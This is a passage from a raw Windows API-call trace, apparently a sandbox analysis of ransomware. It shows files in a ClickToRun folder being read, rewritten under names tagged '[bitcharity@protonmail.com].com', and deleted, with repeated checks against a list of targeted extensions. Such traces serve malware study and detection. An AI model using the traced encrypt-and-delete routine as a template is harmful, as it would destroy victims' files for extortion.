0x108c [0154.484] GetLastError () returned 0x0 [0154.484] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0154.496] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0154.499] ReadFile (in: hFile=0x1078, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.499] WriteFile (in: hFile=0x108c, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x126, lpOverlapped=0x0) returned 1 [0154.499] SetEndOfFile (hFile=0x108c) returned 1 [0154.500] CloseHandle (hObject=0x108c) returned 1 [0154.501] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.501] SetEndOfFile (hFile=0x1078) returned 1 [0154.502] CloseHandle (hObject=0x1078) returned 1 [0154.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0154.503] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0154.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.503] lstrlenW (lpString=".doc") returned 4 [0154.503] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.503] lstrlenW (lpString=".docx") returned 5 [0154.503] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0154.503] lstrlenW (lpString=".pdf") returned 4 [0154.503] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.503] lstrlenW (lpString=".xls") returned 4 [0154.503] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.503] lstrlenW (lpString=".xlsx") returned 5 [0154.503] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0154.503] lstrlenW (lpString=".ppt") returned 4 [0154.503] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.503] lstrlenW (lpString=".zip") returned 4 [0154.503] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.503] lstrlenW (lpString=".rar") returned 4 [0154.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.503] lstrlenW (lpString=".bz2") returned 4 [0154.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.504] lstrlenW (lpString=".7z") returned 3 [0154.504] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.504] lstrlenW (lpString=".dbf") returned 4 [0154.504] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.504] lstrlenW (lpString=".1cd") returned 4 [0154.504] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.504] lstrlenW (lpString=".jpg") returned 4 [0154.504] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.504] lstrlenW (lpString=".doc") returned 4 [0154.504] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0154.504] lstrlenW (lpString=".docx") returned 5 [0154.504] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0154.504] lstrlenW (lpString=".pdf") returned 4 [0154.504] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0154.504] lstrlenW (lpString=".xls") returned 4 [0154.504] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0154.504] lstrlenW (lpString=".xlsx") returned 5 [0154.504] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0154.504] lstrlenW (lpString=".ppt") returned 4 [0154.504] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0154.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.504] lstrlenW (lpString=".zip") returned 4 [0154.504] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0154.504] lstrlenW (lpString=".rar") returned 4 [0154.505] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0154.505] lstrlenW (lpString=".bz2") returned 4 [0154.505] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0154.505] lstrlenW (lpString=".7z") returned 3 [0154.505] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0154.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.505] lstrlenW (lpString=".dbf") returned 4 [0154.505] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0154.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.505] lstrlenW (lpString=".1cd") returned 4 [0154.505] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0154.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0154.505] lstrlenW (lpString=".jpg") returned 4 [0154.505] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0154.505] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0154.505] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0154.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0154.525] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=18624) returned 1 [0154.525] CloseHandle (hObject=0x10d0) returned 1 [0154.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0154.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0154.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0154.526] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.526] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0154.528] GetLastError () returned 0x0 [0154.528] ReadFile (in: hFile=0x10d0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0155.079] WriteFile (in: hFile=0x1078, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0155.081] ReadFile (in: hFile=0x10d0, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.081] WriteFile (in: hFile=0x1078, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11a, lpOverlapped=0x0) returned 1 [0155.081] SetEndOfFile (hFile=0x1078) returned 1 [0155.081] CloseHandle (hObject=0x1078) returned 1 [0155.089] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.089] SetEndOfFile (hFile=0x10d0) returned 1 [0155.090] CloseHandle (hObject=0x10d0) returned 1 [0155.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.091] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0155.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.091] lstrlenW (lpString=".doc") returned 4 [0155.091] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.091] lstrlenW (lpString=".docx") returned 5 [0155.091] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.091] lstrlenW (lpString=".pdf") returned 4 [0155.091] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.092] lstrlenW (lpString=".xls") returned 4 [0155.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.092] lstrlenW (lpString=".xlsx") returned 5 [0155.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.092] lstrlenW (lpString=".ppt") returned 4 [0155.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.092] lstrlenW (lpString=".zip") returned 4 [0155.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.092] lstrlenW (lpString=".rar") returned 4 [0155.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.092] lstrlenW (lpString=".bz2") returned 4 [0155.092] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.092] lstrlenW (lpString=".7z") returned 3 [0155.092] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.092] lstrlenW (lpString=".dbf") returned 4 [0155.092] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.092] lstrlenW (lpString=".1cd") returned 4 [0155.093] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.093] lstrlenW (lpString=".jpg") returned 4 [0155.093] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.093] lstrlenW (lpString=".doc") returned 4 [0155.093] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString=".docx") returned 5 [0155.093] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.093] lstrlenW (lpString=".pdf") returned 4 [0155.093] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString=".xls") returned 4 [0155.093] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString=".xlsx") returned 5 [0155.093] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.093] lstrlenW (lpString=".ppt") returned 4 [0155.093] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.093] lstrlenW (lpString=".zip") returned 4 [0155.093] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString=".rar") returned 4 [0155.093] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.093] lstrlenW (lpString=".bz2") returned 4 [0155.093] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.093] lstrlenW (lpString=".7z") returned 3 [0155.093] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.093] lstrlenW (lpString=".dbf") returned 4 [0155.094] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.094] lstrlenW (lpString=".1cd") returned 4 [0155.094] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0155.095] lstrlenW (lpString=".jpg") returned 4 [0155.095] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.095] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0155.095] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0155.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0155.110] GetFileSizeEx (in: hFile=0x10e4, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=19136) returned 1 [0155.111] CloseHandle (hObject=0x10e4) returned 1 [0155.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0155.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0155.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0155.111] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.111] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0155.112] GetLastError () returned 0x0 [0155.112] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0155.194] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0155.195] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.195] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11e, lpOverlapped=0x0) returned 1 [0155.195] SetEndOfFile (hFile=0x10a8) returned 1 [0155.195] CloseHandle (hObject=0x10a8) returned 1 [0155.205] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.205] SetEndOfFile (hFile=0x10e4) returned 1 [0155.206] CloseHandle (hObject=0x10e4) returned 1 [0155.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.206] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0155.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0155.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0155.207] lstrlenW (lpString=".doc") returned 4 [0155.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.207] lstrlenW (lpString=".docx") returned 5 [0155.207] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.207] lstrlenW (lpString=".pdf") returned 4 [0155.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.207] lstrlenW (lpString=".xls") returned 4 [0155.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.207] lstrlenW (lpString=".xlsx") returned 5 [0155.207] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.207] lstrlenW (lpString=".ppt") returned 4 [0155.207] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0155.207] lstrlenW (lpString=".zip") returned 4 [0155.207] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0155.207] lstrlenW (lpString=".rar") returned 4 [0155.207] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0155.207] lstrlenW (lpString=".bz2") returned 4 [0155.207] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0155.207] lstrlenW (lpString=".7z") returned 3 [0155.207] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0155.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0155.207] lstrlenW (lpString=".dbf") returned 4 [0155.207] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0155.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0155.208] lstrlenW (lpString=".1cd") returned 4 [0155.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0155.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0155.208] lstrlenW (lpString=".jpg") returned 4 [0155.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0155.208] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.208] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0155.209] GetLastError () returned 0x0 [0155.209] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0155.233] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0155.234] ReadFile (in: hFile=0x10e4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.234] WriteFile (in: hFile=0x10a8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11c, lpOverlapped=0x0) returned 1 [0155.235] SetEndOfFile (hFile=0x10a8) returned 1 [0155.235] CloseHandle (hObject=0x10a8) returned 1 [0155.241] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.241] SetEndOfFile (hFile=0x10e4) returned 1 [0155.242] CloseHandle (hObject=0x10e4) returned 1 [0155.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0155.243] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0155.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0155.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0155.243] lstrlenW (lpString=".doc") returned 4 [0155.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0155.243] lstrlenW (lpString=".docx") returned 5 [0155.244] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0155.244] lstrlenW (lpString=".pdf") returned 4 [0155.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0155.244] lstrlenW (lpString=".xls") returned 4 [0155.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0155.244] lstrlenW (lpString=".xlsx") returned 5 [0155.244] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0155.244] lstrlenW (lpString=".ppt") returned 4 [0155.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0155.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0155.244] lstrlenW (lpString=".zip") returned 4 [0155.244] lstrcmpiW 